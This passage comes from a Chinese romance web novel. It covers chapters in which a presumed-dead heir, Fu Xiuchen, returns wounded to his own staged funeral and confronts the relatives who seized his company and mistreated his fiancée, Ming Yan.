“谁准你碰她的?”陆凛的声音低哑,带着一股混不吝的狠劲。 霍寒山撑着地面,试图站起来,眼神阴鸷地看向陆凛。 陆凛却不给他机会,上前一步,一脚踹在他肩头,将他再次踹倒在地,鞋底碾着他昂贵的大衣。 “听不懂人话?她让你滚。”陆凛俯身,揪住霍寒山的衣领,迫使他抬起头,两人视线在空中碰撞,一个阴戾张扬,一个隐忍扭曲,“以后,离她远点。再让我看见你出现在她周围……” 陆凛顿了顿,凑近他耳边,用只有两人能听到的声音,一字一句,带着血腥气: “我卸了你的手。” 第137章 你以为你还是傅家未来的孙媳妇? 而与此同时,霍寒山回国的消息像长了翅膀,很快飞到了傅家老宅。 “什么?霍寒山一回来就去找了那个扫把星?!” 秦婉气急败坏地一把将梳妆台上昂贵的护肤品扫落在地! 瓶瓶罐罐碎裂开来,发出刺耳的声响,浓郁的香精味道弥漫在空气中。 她胸口剧烈起伏,那张精心修饰过的脸上扭曲着嫉妒和愤怒。 凭什么?! 凭什么事到如今霍寒山还忘不了明嫣那个扫把星! “婉儿!冷静点!”秦晓林快步走进来,看着满地狼藉,眉头紧锁,连忙关上房门。 “我怎么冷静?!”秦婉转身,抓住秦晓林的手臂,指甲几乎要掐进她肉里,“妈!你听到了吗?霍寒山他……他眼里只有明嫣那个贱人!我算什么?我现在可是傅家的小姐!” 秦晓林按住女儿激动的手,眼神里闪烁着精明的算计:“正因如此,你才更该沉住气。” 她拉着秦婉在沙发上坐下,压低声音:“霍寒山的能力,你我都清楚。连跃华生物的周慕言都不是他的对手。他这样的人物,若是真的能为我们所用,将会是一大助力。” 秦婉愣了一下,随即不甘地撇嘴:“可他心里只有明嫣!怎么可能帮我们?” 秦晓林轻轻拍了拍她的手背,语气带着试探和诱导:“婉儿,你老实告诉妈,你对霍寒山,到底是真心喜欢,还是……只是不甘心输给明嫣?” 秦婉眼神闪烁了一下,咬了咬唇:“我当然喜欢他!他那么优秀……而且,只要能得到他,就等于狠狠打了明嫣的脸!” 秦晓林满意地点点头:“这就够了。” “妈,你有办法?”秦婉急切地问。 秦晓林轻笑一声,眼神里掠过一丝冷光。 “办法嘛……自然是有的。你只需要乖乖听话,等着瞧就好了。” 她凑近秦婉耳边,低声耳语了几句。 秦婉的眼睛先是睁大,随即,一丝扭曲而期待的光芒,在她眼底慢慢亮起。 …… 江南的雨,缠缠绵绵,下得人心头发霉。 明嫣坐在律所里,窗外是灰蒙蒙的天。 桌上摊着案卷,字迹却模糊不清。 陆奉归推门进来,脸色不太好看。 “老板,傅家那边又出手了……”他递过一份文件,“我们代理的几个项目,对方突然撤资,都转到了傅承平控股的公司。” 明嫣眼皮都没抬。 “知道了。” 声音平静,听不出波澜。 自从傅修沉不在了,傅家二房就动作不断。 先是架空周慕言,接手跃华生物,接着开始清理傅修沉留下的旧部,连她这小小的律所也不放过。 手段不算高明,但够恶心人。 陆奉归欲言又止:“还有……傅家老夫人那边还让人放出话来,说您……克夫……现在圈子里传得很难听。” 明嫣握着笔的手指微微收紧。 笔尖在纸上洇开一团墨迹。 她没说话,只是将那张纸揉成一团,扔进垃圾桶。 “出去做事。” 陆奉归叹口气,带上门。 办公室重归寂静。 明嫣靠在椅背上,闭上眼。 睫毛在苍白的脸上投下淡淡阴影。 她没哭。 眼泪在那天医院门口,已经流干了。 如今只剩下空荡荡的躯壳,和一丝不肯熄灭的念想。 …… 傅家老宅,灯火通明。 傅承平志得意满地坐在主位,傅承慧在一旁奉承:“二哥,现在跃华尽在掌握,还是您手段高明。” 傅老夫人捻着佛珠,语气淡淡:“到底名不正言不顺。修沉才走多久,你们吃相也别太难看,省得外人说三道四。” “妈,这话说的。” 傅承平不以为然,“大哥就修沉一个儿子,他现在没了,他名下的跃华生物总不能没人管。我这不也是替他守着基业吗?” 秦婉挨着傅老夫人坐着,乖巧地削着苹果。 “奶奶,二叔也是为了傅家好。”她声音柔柔的,“就是……明嫣那边,似乎不太安分。我听说,她还在查修沉哥哥的事呢。” 傅老夫人眉头一皱:“她还查什么?人都没了,还不消停!” “可不是嘛。”秦婉叹气,“修沉哥哥要不是为了去给她送东西,也不会……她现在还摆出一副情深义重的样子,做给谁看?” 傅承平冷哼:“不识抬举。给她几分颜面,还真当自己还是傅家未来的孙媳妇?” 他看向傅承慧:“小妹,你找个时间,去跟她聊聊。让她认清现实,别挡着路。” 傅承慧会意点头。 几天后,嫣然律所来了不速之客。 傅承慧穿着昂贵的皮草,趾高气扬。 她身后跟着两个助理,手里捧着几个盒子。 “明律师,忙呢?”她自顾自在沙发坐下,目光挑剔地扫过办公室。 明嫣从文件里抬头,神色淡漠:“小姑有事?” 傅承慧被这声“小姑”叫得膈应,扯了扯嘴角:“别,我可当不起。今天来,是替傅家给你送点东西。” 她示意助理打开盒子。 里面是些珠宝首饰,还有一张支票。 “这些是修沉以前送你的,我们傅家也不往回要了,就当是补偿。” 傅承慧语气施舍,“另外,这五百万,够你下半辈子衣食无忧。条件是,签了这份协议,放弃傅家一切可能的继承权,并且……离开江南。” 明嫣看着那些东西,忽然笑了。 笑容很浅,带着冷意。 “傅修沉的东西,什么时候轮到你们来做主?” 傅承慧脸色一沉:“明嫣,你别给脸不要脸!修沉已经死了!傅家现在是我二哥傅承平当家!你以为你还是傅家未来孙媳妇?” 她站起身,逼近一步,压低声音:“识相点,拿着钱走人。不然,我有的是办法让你在江南混不下去!” 明嫣迎着她的目光,寸步不让。 “我要是不走呢?” “不走?”傅承慧嗤笑,“那你试试。看看是你的律所先关门,还是你们明家先倒霉!” 话音未落,办公室门被猛地推开。 陆凛叼着烟靠在门框上,金发凌乱,眼神阴戾。 “吵什么?”他声音不大,却让傅承慧浑身一僵。 “阿凛?你怎么在这?”傅承慧脸色变了变,试图挤出笑脸,“我跟你明小姐谈点事情……” 陆凛没理她,目光落在明嫣身上。 她站在那里,背脊挺直,像一根绷紧的弦,脸色苍白,唯独那双眼睛,黑得吓人。 他心头莫名一躁。 “谈完了吗?”他看向傅承慧,语气不耐,“谈完了就滚蛋。” 傅承慧被他当着明嫣的面下面子,脸上挂不住:“陆凛!我是你妈!” “所以呢?”陆凛挑眉,“要我叫人请你出去?” 第138章 傅修沉你再不醒……(加更) 傅承慧气得胸口起伏,狠狠瞪了明嫣一眼,抓起包快步离开。 助理连忙跟上。 办公室里安静下来。 陆凛走到明嫣面前,低头看她。 “她的话,你不用听。” 明嫣没应声,只是默默将那些珠宝和支票收进盒子,她动作缓慢,却带着一种执拗。 他看着她纤细的手指抚过那些冰冷璀璨的物件,指尖都泛着用力过度的白,心头像是被什么东西细细密密地扎着,泛起绵密的疼。 他一把抓住她手腕。 “明嫣!”他声音发沉,“你还要撑到什么时候?傅家现在就是个烂摊子,你掺和进来有什么用?!” 明嫣试图挣脱,却被他攥得更紧。 “我的事,不用你管。” “我偏要管!”陆凛逼近,气息灼热,“他死了!你为他做的这些,他看得见吗?值得吗?!” “值不值得,我说了算。” 明嫣抬眼,目光锐利如刀,“陆凛,你以什么身份管我?傅修沉的弟弟?还是……傅家现在的既得利益者?” 这话像一根针,狠狠扎进陆凛心里。 他脸色瞬间难看。 是,傅修沉出事,他母亲和舅舅上蹿下跳,他冷眼旁观,甚至……心底深处,未尝没有一丝隐秘的解脱。 可这解脱,在看到明嫣为傅修沉拼命时,又化作难以言喻的焦躁和……嫉妒。 他猛地松开手,后退一步,扯了扯嘴角。 “行。你清高,你了不起。” 他转身,摔门而去。 巨大的声响在办公室里回荡。 明嫣站在原地,许久,才慢慢蹲下身,抱紧自己。 窗外,雨还在下。 …… 傅家的打压接踵而至。 律所的客户接连流失,案子频频受阻。 连明家的生意也受到波及。 明嫣四处奔走,收效甚微。 圈内人见她失势,纷纷避而远之。 昔日巴结奉承的,如今冷眼旁观,甚至落井下石。 她瘦了很多,眼下带着浓重的青黑。 只有那双眼睛,依旧亮得惊人。 这天,她不得不去傅氏集团一趟,为一个项目的法律纠纷争取最后的机会。 前台将她拦下,语气敷衍:“抱歉,明律师,没有预约不能见傅总。” 明嫣耐着性子:“我打过电话……” “傅总很忙。”前台打断她,眼神带着轻蔑,“而且,傅总交代过,不接见无关人员。” 无关人员。 四个字,像冰锥扎进心里。 明嫣抿紧唇,正要开口,身后传来一道娇柔的声音。 “哟,这不是明嫣吗?” 秦婉挽着最新款的爱马仕,袅袅婷婷走来。 她身边跟着几个打扮精致的名媛,都是江南圈子里有头有脸的人物。 “怎么站在这里呀?”秦婉故作惊讶,“来找二叔吗?哎呀,二叔现在可忙了,怕是没空见你呢。” 她身边一个穿着粉色套装的女人轻笑:“婉儿,这就是你那个……前准嫂子?听说克夫呢,难怪傅少……” 话没说完,意思却明白。 几个女人掩嘴低笑,目光像刀子,上下打量着明嫣。 明嫣穿着简单的职业套装,素面朝天,与她们的光鲜亮丽形成鲜明对比。 可那张脸却漂亮得令人嫉妒。 她就站在那里,像一株宁折勿弯的青莲。 “让开。”她声音很冷。 秦婉却不依不饶,上前一步,压低声音,语气恶毒:“明嫣,你还不知道吧?奶奶已经点头,让我认祖归宗,正式记在傅家门下。以后,我才是名正言顺的傅家小姐。” 她顿了顿,笑容甜美又残忍:“而你,什么都不是。修沉哥哥死了,你连进傅家门的资格都没有。” 明嫣手指蜷缩,指甲陷进掌心。 疼痛让她保持清醒。 她看着秦婉,忽然问:“傅修沉的葬礼,为什么迟迟不办?” 秦婉一愣。 明嫣向前一步,目光锐利如刀,直直刺向她:“活要见人,死要见尸。你们连他的尸骨都没找到,凭什么断定他死了?你们到底在怕什么?” 秦婉被她问得心慌,强装镇定:“你胡说什么!那种爆炸,怎么可能……” “怎么可能尸骨无存?”明嫣打断她,声音不大,却清晰传入每个人耳中,“所以,你们是认定了找不到,还是……根本不想找到?” 周围瞬间安静下来。 几个名媛面面相觑,眼神惊疑不定。 秦婉脸色发白,指着明嫣:“你……你疯了!在这里胡说八道!” “我是不是胡说,你们心里清楚。”明嫣目光扫过前台,扫过周围窃窃私语的员工,最后落回秦婉脸上,“告诉傅承平,只要一天没见到傅修沉的尸体,我就不会放弃。跃华生物,他想拿,没那么容易。” 说完,她不再看秦婉扭曲的脸,转身离开。 背影单薄,却带着一股决绝的力度。 …… 私人医院,顶楼VIP病房。 空气里弥漫着消毒水的气息。 病床上的人依旧昏迷,脸色苍白,只有胸口微弱的起伏证明他还活着。 宋青州站在床边,看着仪器上平稳的波形。 “她今天去了傅氏。”他忽然开口,像是对床上的人说,“被秦婉带着人,当众羞辱。” 仪器上的波形几不可察地波动了一下。 宋青州挑眉,继续道:“傅承平断了律所的业务,明家也受牵连。她最近瘦了很多。” 波形再次起伏,比刚才更明显。 “傅家要正式认回秦婉,记在族谱上。” “……” “你小姑去找过她,用钱打发她走。” “……” “霍寒山也回了江南,天天去律所堵人。” “……” 宋青州每说一句,就仔细观察着仪器。 波形起伏越来越大,床上那人放在身侧的手指,几不可察地动了一下。 他微微俯身,声音压低,带着一丝嘲弄:“傅修沉,你再不醒,你的女人,就要被那些人啃得骨头都不剩了。” 话音落下瞬间—— 病床上,傅修沉的眼睫剧烈颤抖起来。 像是陷入噩梦,挣扎着要醒来。 仪器发出急促的警报声! 宋青州眼神一凛,立刻按下呼叫铃。 医生护士冲进来,一阵忙乱。 混乱中,没人注意到,傅修沉紧蹙的眉心,和微微蜷缩的手指…… 第139章 傅修沉回来了!(高潮必看!) 江南入了深冬。 雨夹雪粒子砸在车窗上,噼啪作响。 明嫣握着方向盘,指尖冻得发青。 一个小时前,她才得到傅家竟然要给傅修沉举行葬礼的消息! 甚至都没有通知她! 很快,车子在傅家墓园门口停下,被提前得了消息的保安拦在了门外。 “明小姐是吧?傅先生吩咐过了,您是外人,就不必出席大少爷的葬礼了……” 明嫣下意识地攥紧了手指,骨节白得吓人。 “谁定的?” “当然是老夫人和傅先生的意思,大少爷总得入土为安。” 明嫣只觉得寒气浸透四肢百骸。 他们连一块尸骨都没有,拿什么下葬? 空棺材么? 雨水混着冰碴,砸在明嫣脸上,像细密的针。 她站在傅家墓园紧闭的铁门外,雨水顺着发梢往下淌,浸透了单薄的黑衣。 保安人高马大,像两堵墙,面无表情地拦着。 “让我进去。”她声音嘶哑,不大,却带着一股执拗的狠劲,从喉咙里磨出来。 保镖互看一眼,依旧挡着,“明小姐,别让我们难做。” 就在这时,里面传来一阵骚动。 赫然是秦婉扶着傅老夫人,在一群黑衣人的簇拥下,竟朝着大门这边走了过来。 傅老夫人穿着厚重的黑色大衣,脸色沉得能拧出水,秦婉则是一身剪裁得体的黑色套装,看向明嫣时,眼底那点幸灾乐祸藏不住。 隔着雨幕,傅老夫人浑浊的眼睛钉子一样扎在明嫣身上。 “你还来做什么?”老太太声音又冷又硬,“修沉就是被你克死的!要不是为了给你送那劳什子包,他怎么会……你还有脸来?!” 她握着佛珠的手抬起来,指尖发颤地指着明嫣。 秦婉在一旁轻轻拍着老太太的背,“奶奶,您别动气,当心身子。明小姐可能也是……太伤心了,一时失了分寸。只是今天这场合,她确实不合适出现,外面那些风言风语您也听到了,对傅家名声不好……” 她说着,目光扫过周围隐约张望的宾客,意有所指。 明嫣站在雨里,浑身湿透,冷得牙齿都在打颤,背脊却挺得笔直。 她抬起眼,雨水流进眼里,涩得发疼,目光却越过傅老夫人,直直钉在秦婉那张虚伪的脸上。 “活要见人,死要见尸。”她一字一顿,每个字都像从冰水里捞出来,“你们连他一块骨头都没找到,凭什么给他立衣冠冢?你们在心虚什么?” 傅老夫人气得手抖,佛珠捏得咯咯响,她胸口剧烈起伏,显然被戳到了痛处。 秦婉赶紧给她顺气,转头对明嫣,语气愈发无奈:“明嫣,接受现实吧。修沉哥哥已经走了,我们都很难过。可你这样闹……只会让他走得不安心,也让奶奶更伤心。” “你闭嘴!”明嫣声音不高,却像淬了冰,砸在雨地里,带着洞穿一切的冷,“傅修沉他没死!你们这么急着办葬礼,不就是想把他的一切攥在手里吗?” 她往前一步,湿透的鞋子踩在积水里,溅起冰冷的水花。 保镖下意识想拦,却被她眼底那股近乎疯狂的狠戾慑住,动作慢了半拍。 “把她给我轰出去!”傅老夫人终于不耐,厉声喝道,脸上是毫不掩饰的嫌恶。 保镖不再犹豫,伸手就要去抓明嫣的胳膊。 “碰她一下试试。” 一道低沉冷冽的嗓音,裹挟着雨夜的寒气,突兀地穿透嘈杂,清晰落在每个人耳中。 声音不高,却像带着千钧重量,瞬间压住了所有声响。 所有人猛地回头。 只见陆凛站在不远处,他没有打伞,黑色机车夹克被雨水浸透,颜色更深,金发湿漉漉地贴在额角,水珠顺着凌厉的下颌线往下淌。 他冷厉眼神扫过门口众人,带着一股不要命的混戾。 傅老夫人气得脸色发青,指着陆凛:“你……你这个混账!你想干什么?!今天是什么日子,你非要带着外人来搅得修沉不得安宁吗?” “外人?”陆凛扯了扯嘴角,一把将浑身湿透的明嫣拽到自己身后,用半个身子护住,动作带着不容置疑的强势。 他视线落在傅承平身上,“她是不是外人,轮不到你们说。” 闻讯赶来的傅承平脸色阴沉:“陆凛,这里没你的事!让开!” “我要是不让呢?”陆凛挑眉,往前踏了一步,直接踩在积水的门槛内,雨水从他鞋边溅开,“今天这墓园,我还就进了。” 气氛瞬间剑拔弩张。 保镖们面面相觑,不敢轻易上前。 这位孙少爷的混不吝和身手,在傅家是出了名的。 傅老夫人喘着粗气,佛珠几乎要捏碎:“反了!都反了!为了这么个扫把星,你们一个个都要气死我!” 明嫣被陆凛护在身后,能感受到他背部传来的热度和紧绷的肌肉线条。 雨水模糊了她的视线,她看着傅家人一张张或愤怒或冷漠或幸灾乐祸的脸,心脏像是被冻僵了,又像是被放在火上烤。 她轻轻推开陆凛挡在她身前的手臂,往前走了一步,与他并肩。 抬起头,目光越过众人,望向墓园深处,那里搭着棚子,隐约可见黑色的棺椁轮廓。 “让我进去。”她重复,声音比刚才更嘶哑,却也更加平静。 “你休想!”傅老夫人厉喝。 秦婉轻轻叹气,“明嫣,算我求你了,给修沉哥哥留点清净吧。你知道外面现在都怎么说吗?都说你是……唉,你非要坐实了这克夫的名声,让修沉哥哥走了都不得安生吗?” 这话恶毒得像淬了毒的针,精准地扎进明嫣早已千疮百孔的心脏。 克夫。 这两个字像魔咒,箍得她喘不过气。 傅承平像是找到了由头,语气带着施舍般的厌恶:“明嫣,识相点就自己离开。傅家不欢迎你,修沉的葬礼,更不需要你一个‘外人’在场。拿着之前给你的补偿,滚出江南,别再出现在我们面前!” 雨水顺着明嫣的发梢往下滴,她脸色白得透明,嘴唇冻得发紫,身体在微微发抖,但脊背却挺得笔直。 她看着那口黑色的棺椁,忽然低低地笑了一声,笑声在雨里显得格外凄凉。 “补偿?拿他的东西,补偿我?” 她抬起眼,视线像冰锥,逐一刮过众人的脸,“你们用着他的,占着他的,现在连他‘死’了,都要利用得干干净净。一口空棺材,你们葬的是什么?是他的名正言顺,还是你们自己的心安理得?” “你胡说八道什么!”傅承平脸色骤变,眼神闪过一丝慌乱,厉声打断,“保镖!都是死人吗?!把她给我拖出去!” 可他话音未落,外面忽然传来一阵急促杂乱的脚步声,伴随着佣人惊慌的低呼。 偏厅的门被人从外面猛地撞开! 保安脸色煞白,踉跄着冲进来,嘴唇哆嗦着,手指着外面,像是见了鬼。 “老……老夫人!……车……车……” 所有人都被这变故惊住。 傅承平不耐烦地呵斥:“慌什么!什么车?!” 保安胸口剧烈起伏,眼睛瞪得滚圆,终于挤出破碎的句子:“……大少爷……大少爷的车!回来了!停在门口!” 第140章 听说……我死了? “轰——!” 一句话,如同惊雷炸响在偏厅每一个人的头顶! 傅承慧脸上的怒容瞬间冻结,转为难以置信的惊骇。 秦婉捶肩的手猛地僵住,指甲差点掐进傅老夫人肉里。 傅老夫人捻着佛珠的手剧烈一抖,佛珠串线崩断,檀木珠子噼里啪啦滚落一地! 死寂。 绝对的死寂。 然后,是更嘈杂的、无法抑制的喧哗从宅院前庭传来,夹杂着压抑的惊呼和慌乱的脚步声。 明嫣的心脏在那一刹那停止了跳动。 她猛地扭头看向门口方向,血液轰然冲上大脑,耳边嗡嗡作响,眼前阵阵发黑。 不可能…… 是她听错了……还是…… 她几乎是凭借着本能,跌跌撞撞地冲出偏厅,朝着前庭狂奔而去。 其他人也如梦初醒,傅老夫人被秦婉和傅承慧搀扶着,脸色惨白如纸,踉跄着跟上。 老宅厚重的雕花铁门外,此刻一片混乱。 一辆通体漆黑的宾利轿车,如同幽灵般静默地停在门口正中。 车身线条冷硬,沾着些许未干的泥泞与水痕,像是刚从某个阴暗潮湿之地挣脱而出。 车门洞开。 一个男人弯腰,从车内迈出。 他穿着一身略显褶皱的深色西装,外面随意罩着件同色系的长大衣,身形比起记忆里清瘦了些许,侧脸线条却依旧利落如刀锋。 冬日稀薄的阳光落在他身上,勾勒出挺拔却莫名带着一丝孤峭的身影。 他站直身体,微微抬眸。 额前黑色的碎发垂落,遮住了部分眉眼,却遮不住那双深邃眼眸中凛冽的寒芒。 眼尾那颗小小的朱砂痣,在苍白肤色的映衬下,红得触目惊心,妖异得令人心颤。 空气仿佛在这一刻被彻底抽空。 所有嘈杂声戛然而止。 时间凝固。 傅修沉的目光极其缓慢地扫过门前一张张惊恐万状,如同见了鬼魅的脸,最后,越过人群,精准地锁住了那个僵立在几步之外,脸色煞白,浑身都在细微发抖的身影上。 他的小姑娘。 瘦了。 他薄唇微动,似乎想说什么,却先溢出几声低哑的咳嗽,肩胛随着咳嗽微微震动。 然后,他对着她,极其缓慢地,扯开一个没什么温度,却足以让在场所有人魂飞魄散的弧度。 嗓音低沉,带着久未开口的沙哑,碾过死寂的空气。 “听说,”他顿了顿,每个字都像裹着冰碴,“我死了?” 时间仿佛在这一刻凝固。 所有人猛地转头,看向声音来源。 灵堂入口的阴影里,一道挺拔的身影缓缓步出雨幕。 男人穿着一身纯黑色的定制西装,外面罩着同色系的长款大衣,肩头被雨水打湿,颜色深了一块。 他脸色有些苍白,下颌线似乎比以往更清晰了些,眉眼间带着一丝显而易见的病弱和疲惫,但那双深邃的眼眸,此刻却锐利如鹰隼,眼尾那颗朱砂痣,在灵堂惨白的灯光下,红得妖冶,红得惊心动魄。 他一步一步走进来,脚步不算快,甚至有些虚浮,却带着一股碾压一切的气场。 雨水顺着他黑发梢滴落,滑过高挺的鼻梁,落在紧抿的薄唇边。 整个灵堂,鸦雀无声。 所有人都像是被施了定身咒,僵在原地,瞪大了眼睛,难以置信地看着那个本应‘死无全尸’的男人。 傅修沉。 他活着。 他一步一步,走到明嫣身边,停下。 目光掠过她苍白没有一丝血色的嘴唇,还有那双盈满水光的眼睛。 他眼底深处翻涌过一丝极其复杂的情绪,快得让人抓不住,最终化为一片深沉的墨色。 他伸出手,指尖微凉,轻轻拂去她脸颊上混合着雨水的泪痕。 “哭什么?”他开口,声音依旧有些沙哑,“我还没死呢。” 明嫣怔怔地看着他,大脑一片空白,所有的声音,所有的景象都消失了,只剩下眼前这张脸。 她张了张嘴,想说什么,喉咙却像是被堵住了,发不出任何音节。 只有眼泪流得更凶。 傅修沉皱了皱眉,似乎对她的眼泪很不满意。 他收回手,转而看向已经面无人色的傅承平等人。 他的目光很平静,平静得像结冰的湖面,底下却蕴藏着能将人吞噬的寒意。 “二叔,”他语气平淡无波,像在谈论天气,“看来,你很希望我死。” 傅承平像是被毒蛇咬了一口,猛地后退一步,脸色惨白如纸,嘴唇哆嗦着:“修……修沉?!你……你怎么……” 傅老夫人也惊呆了,手里的佛珠“啪嗒”一声掉在地上,滚落开去。 她指着傅修沉,老脸颤抖:“你……你是人是鬼?!” 秦婉更是吓得花容失色,下意识地往傅承平身后躲,眼神里充满了惊恐和不可思议。 傅修沉轻轻扯了扯嘴角,那笑意未达眼底,反而更添了几分冷冽。 “托二叔的福,命大,没死成。” 他视线扫过那口黑色的棺椁,眼神里是毫不掩饰的讥诮,“倒是劳烦二叔,提前给我准备了这么好的‘归宿’。” 他往前踱了一步,虽然身形还有些单薄,但那股久居上位的压迫感已经瞬间回归,笼罩了整个灵堂。 “听说,我‘死’了之后,二叔替我接管了跃华生物?”他目光落在傅承平身上,像刀子一样,“打理得怎么样?还顺手吗?” 傅承平额头冷汗涔涔而下,支吾着说不出话。 “还有小姑,”傅修沉视线转向脸色同样煞白的傅承慧,“拿着我的东西,去打发我的未婚妻?谁给你的胆子?” 傅承慧浑身一颤,低下头,不敢与他对视。 傅修沉最后将目光投向躲在傅承平身后,瑟瑟发抖的秦婉。 “至于你,”他语气更冷了几分,“一个连傅家血脉都算不上的东西,也配在这里,以我‘妹妹’自居,对我的女人指手画脚?” 秦婉脸上一阵红一阵白,羞愤难当,却一个字也不敢反驳。 傅修沉收回目光,仿佛多看他们一眼都嫌脏。 他重新看向明嫣,朝她伸出手,唇角微微勾起一丝弧度,深邃的眼眸里却是笑意缱绻—— “嫣嫣,我们回家。” 第141章 为她挡住所有的恶意和风雨 明嫣的手指被傅修沉紧紧攥在掌心。 他的力道很大,指节甚至有些僵硬,像是用尽了全力。 她能感受到他掌心的温度,比往常要高,带着一种不正常的灼热,还有……一丝粘稠的湿意。 那触感太突兀,像冰冷的蛇倏然滑过心尖。 她几乎是下意识地就要低头去看—— “别低头。” 傅修沉的声音压得极低,带着气音擦过她的耳廓,短促,却带着不容置疑的力道。 他握着她的手指甚至又收紧了些,阻止了她所有的动作。 明嫣的心脏猛地一缩,像是被一只无形的手狠狠攥住。 她僵着脖子,强迫自己维持着目视前方的姿态,可眼角的余光却无法控制地瞥向他靠近自己这一侧的袖口。 黑色大衣的袖子,颜色深得几乎能吞噬一切光线。 可就在那袖口边缘,紧挨着她手背的地方,深色的布料似乎比别处更……濡湿一些,隐隐地,透出一种近乎暗沉的的色泽。 不是雨水。 雨水是冰凉的,而这触感,是温热的,粘稠的。 是血。 这个认知像一把烧红的匕首,瞬间刺穿了她所有的庆幸和狂喜。 她的呼吸骤然停滞,血液似乎在刹那间倒流,冲向四肢百骸,又迅速冻结,带来一阵灭顶的寒意。 他受伤了。 而且,一直在流血。 所以他方才的脚步虚浮,所以他异常苍白的脸色,所以他低沉沙哑的嗓音,不仅仅是因为久病初愈,更是因为…… 他强撑着重伤未愈的身体,从不知道哪个角落挣扎着出来,只为在她被千夫所指时,站在她身前。 为她挡住所有的恶意和风雨。 巨大的心痛和酸楚如同海啸,瞬间将她淹没。 眼眶猛地一热,视线迅速模糊,她死死咬住下唇,几乎用尽了全身的力气,才将那汹涌的泪意逼退回去。 不能哭。 不能在这里哭。 不能让他功亏一篑。 她不动声色地,将被他紧握的手微微调整了一下角度,更紧地回握住他,仿佛要将自己微薄的力量传递过去。 另一只手则迅速抬起,穿过他的臂弯,紧紧挽住了他的胳膊,将身体的大部分重量悄然承接过来,做出亲密依偎的姿态。 指尖触碰到的,是他手臂肌肉不自然的紧绷和……轻微的颤抖。 他几乎将全身的重量,都隐晦地依靠在了她这看似柔弱的支撑上。 明嫣的心像是被凌迟,一刀一刀,痛得她几乎无法呼吸。 可她脸上却努力挤出一个极浅的笑容,微微侧头,靠近他,用只有两人能听到的声音,带着一丝不易察觉的哽咽,轻声道:“我们回家。” 傅修沉垂眸看了她一眼,眼底深邃,像是藏了万千汹涌的情绪,最终只化作喉间一声几不可闻的低应:“嗯。” 他任由她撑着,两人相携着,一步一步,朝着车上走去。 背影在众人惊惧、猜疑、复杂的目光中,依旧挺直,仿佛无懈可击。 不远处,陆凛倚在廊柱的阴影里。 雨水打湿了他额前金色的碎发,一绺绺凌乱地搭在眉骨上,水珠顺着桀骜不驯的脸部线条滑落。 他看着那两人相携离去的背影,那双平日里总是带着不耐烦的眼眸,此刻像是被最浓稠的墨汁浸染,翻涌着阴沉到几乎要压抑不住的潮气。 一种混合着酸涩、不甘、以及连他自己都未曾察觉的恐慌,像藤蔓一样疯狂缠绕住他的心脏,越收越紧,几乎让他窒息。 他猛地别开脸,下颌线绷得像一块冷硬的石头,舌尖抵了抵后槽牙,尝到了一股铁锈般的味道。 操。 他在心里低低骂了一句,却不知道是在骂谁。 …… 车子平稳地驶离傅家老宅,将那片虚伪的混乱远远抛在身后。 车窗紧闭,隔绝了外面的风雨声。 车门关上的瞬间,傅修沉一直强撑着的那口气仿佛骤然松懈。 他几乎是脱力地靠进宽大的座椅里,额头上瞬间沁出细密的冷汗,脸色苍白得吓人,连唇上都失去了最后一丝血色。 “傅修沉!”明嫣的声音带着哭腔,再也忍不住,手忙脚乱地去查看他的手臂。 深色的大衣袖子被小心翼翼地卷起,露出里面白色的衬衫,而衬衫的袖口早已被不断渗出的鲜血彻底浸透,黏连在皮肤上,呈现出一种刺目的暗红色。 “没事……”他想抬手碰碰她的脸,安抚她,手臂却沉重得抬不起来,只能勉强扯出一个极淡的的弧度,声音微弱得几乎听不清,“别怕……” 明嫣的眼泪终于决堤,大颗大颗地砸落下来,她不敢去碰他的伤口,只能死死捂住自己的嘴,不让自己哭出声,肩膀因为压抑的啜泣而剧烈颤抖。 “去医院!快!”她对着前座的司机嘶声喊道,声音破碎不堪。 司机不敢怠慢,猛地踩下油门,车子如同离弦之箭,冲破雨幕。 …… 医院走廊里,消毒水的气味浓重得刺鼻。 傅修沉再次被推进了抢救室,那扇冰冷的门在她眼前关上,亮起刺目的红灯。 明嫣浑身湿透,失魂落魄地站在门外,像一尊被雨水浸泡过的雕像。 手指上还残留着他鲜血的粘稠触感和温度,冰冷与灼热交织,反复灼烧着她的神经。 脚步声自身后响起。 宋青州慢悠悠地踱步过来,身上还带着室外的寒气。 他看了一眼亮着红灯的抢救室,又看了一眼僵立在门口,脸色惨白如纸的明嫣,没什么表情地靠在了对面的墙上。 “放心,死不了。” 他开口,语气带着他一贯略带嘲弄的平静,像是在陈述一个与己无关的事实,“就是伤口崩裂,加上体力透支,晕过去了而已。” 明嫣缓缓转过头,看向他,眼睛里布满了红血丝,声音沙哑得厉害:“他……他的伤到底有多重?不是醒了吗?为什么……” “醒了不代表好了。” 宋青州打断她,推了推鼻梁上的金丝眼镜,镜片后的目光落在抢救室的门上,带着点难以言喻的复杂,“爆炸的冲击,掉进河里时的撞击,加上失血过多……能捡回一条命已经是奇迹。” 他顿了顿,像是想起了什么极其无语的事情,扯了扯嘴角,语气里带上了一丝真实的嫌弃。 “他在ICU里躺了那么多天,我跟他说的正事,磨得嘴皮子都快破了,他半点反应都没有。”宋青州的目光转向明嫣,“后来没办法,我试着提了句你的名字。” 他停了下来,看着明嫣瞬间怔住的表情,才慢悠悠地,带着点戏谑地补充完了后半句: “好家伙!这祖宗直接就睁眼了!” 第142章 让我抱会儿 明嫣心口像被什么东西狠狠撞了一下,又酸又胀。 她闭上眼,睫毛湿漉漉地黏在一起。 也不知过了多久,抢救室的灯终于灭了。 门打开,医生走出来,表情还算平和:“伤口重新缝合了,失血过多,需要静养。万幸没伤到要害,但这次折腾得太狠,必须卧床休息,否则再裂开就麻烦了。” 明嫣悬着的心重重落回实处,腿一软,差点栽倒,被旁边的宋青州伸手扶了一下。 “谢谢医生。”她声音哑得不成样子。 傅修沉被推回VIP病房,麻药劲还没过,他安静地躺着,脸色苍白,唇上更是一点血色也无。 明嫣坐在床边,小心翼翼地握住他没受伤的那只手,贴在自己脸颊。 他的手很凉,她轻轻摩挲,试图捂热。 宋青州靠在窗边,点了支烟,没吸,任由它燃着。 “宋先生,这到底是怎么回事?”明嫣抬头看他,嗓音低沉。 宋青州弹了弹烟灰,语气平淡:“他在爆炸前跳了车,掉河里了。我的人正好在附近,就顺手捞上来的。他伤得重,所以一直在这里藏着养,怕暗中下手的人知道他没死,再来一次。” 他说得轻描淡写,但明嫣能想象到其中的凶险。 爆炸,溺水,重伤…… “为什么……不告诉我?”她声音发抖。 宋青州瞥了她一眼,镜片后的目光没什么温度:“告诉你?傅修沉躺那儿半死不活,你这边稍有异动,打草惊蛇,我们都得玩完。” 